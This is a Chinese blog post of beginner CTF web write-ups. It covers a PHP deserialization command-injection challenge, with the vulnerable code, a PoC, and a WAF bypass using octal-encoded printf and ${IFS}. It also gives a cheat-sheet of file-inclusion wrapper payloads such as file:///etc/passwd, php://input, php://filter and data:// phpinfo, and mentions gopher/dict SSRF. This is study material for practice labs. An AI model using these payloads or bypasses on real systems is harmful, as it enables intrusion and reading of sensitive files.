首页 > 其他分享 >攻防世界web 难度1新手练习

攻防世界web 难度1新手练习

时间:2022-11-17 21:00:49浏览次数:66  
标签:协议 攻防 base64 web url args 新手 array php

unseping

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
	//构造函数,实例化的时候先调用这里,初始化两个参数
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
	//魔法函数,该函数会在类的一个对象被删除时自动调用
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args); //回调函数,可以将把一个数组参数作为回调函数的参数 call_user_func_array($fun,$arr);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
	
	//匹配 | & ; 空格 / cat flag tac php ls 关键字返回str
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { 
            return $str;
        } else {
            echo "don't hack";
        }
    }
	//__wakeup(),执行unserialize()时,先会调用这个函数/
    function __wakeup(){
        foreach($this->args as $k => $v) {	//键值分离
            $this->args[$k] = $this->waf($v);	//把键值分离出的值$v放到waf函数进行过滤后再赋值
        }
    }   
}

$ctf=@$_POST['ctf'];
//$ctf base64解码,然后反序列化,并返回原始的对象结构。
@unserialize(base64_decode($ctf));
?>

poc

<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

//流程: 64解码,反序列化出一条实例化语句,调用了构造方法完成初始化,继续调用wakeup,将this->args中进行waf函数过滤。代码继续执行,结束之时,调用destruct函数,满足if 进入调用构造函数,间接调用ping函数中的exec。
/*
绕过:因为过滤了很多命令,这里查阅资料到一下绕过方式。
单引号、双引号、${Z}。例如ls 可以 'l""'
空格绕过:${IFS}
/绕过:$(printf "\154\163")ls命令,这个编码后可以拼接
"\154\163"  就是ls
把 cat$[IFS]flag_1s_here/xx.php 转成ascii 然后8进制 替换地方
最终$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
然后就和以前一样就行了,payload

*/


str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
    lett = oct(ord(i))
    //这个主要是为了将八进制前面的0o替换掉
    lett=str(lett).replace("0o","")
    arr.append(lett)
sym = "\\"
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)

Include

CTF常用伪协议总结_Asionm的博客-CSDN博客

Php伪协议:

  • file://协议。用来读取本地的文件,当用于文件读取函数时可以用。
    常见检测是否存在漏洞写法:
    xxx/?file=file:///etc/passwd
    此协议不受allow_url_fopen,allow_url_include配置影响

  • php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
    xxx.xxx/?cmd=php://input
    然后用hackbar或者其他工具,postPHP代码进行检验,如
    <?php>phpinfo()?>
    此协议受allow_url_include配置影响

  • php://filter协议。此协议一般用来查看源码
    一般用法如下
    xxx.xxx/?file=php://filter/read=covert,vase64-encode/resource=index.php
    出来的是base64码需要进行解码
    此协议不受allow_url_fopen,allow_url_include配置影响

  • data://协议。需要allow_url_fopen,allow_url_include均为on
    这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
    http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
    text/plain,表示的是文本
    text/plain;base64, 若纯文本没用可用base64编码

  • dict://协议。与gopher协议一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击。

常见用法:
探测端口指纹
192.168.0.0/?url=dict://192.168.0.0:6379
以上为探测6379(redis)端口的开发
反弹shell

  • gopher://协议。
  • gopher://协议经常用来打内网的各种应用如mysql redis等。一般要用一些工具来进行构造payload 如gopherus等
  • zip;//协议。
  • compress.bzip2://协议
    与zip协议类似不过要压缩成bzip2格式的
  • compress.zlib://协议
    与zip协议类似不过要压缩成zlib格式的
  • phar://协议

转换过滤器

convert.过滤器支持convert.iconv. 格式,使用方法:

convert.iconv..

convert.iconv./

例如:

convert.iconv.UCS-4.UCS-4BE ---> 将指定的文件从UCS-4转换为UCS-4BE 输出

--------------------测试--------------------
http://61.147.171.105:63847/?filename=ph1p://filter/re1ad=conver.bas1e64/resource=check.php 不提示过滤

http://61.147.171.105:63847/?filename=ph1p://filter/read=conver.base64/resource=check.php 提示过滤
我们发现read base等关键字被过滤了
用转换过滤器绕过
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php

由此发现filename过滤了base,be,encode,print,zlib,quoted,write,rot12,read,string
猜测flag是flag.php

标签:协议,攻防,base64,web,url,args,新手,array,php
From: https://www.cnblogs.com/1zpeasy/p/16900918.html

相关文章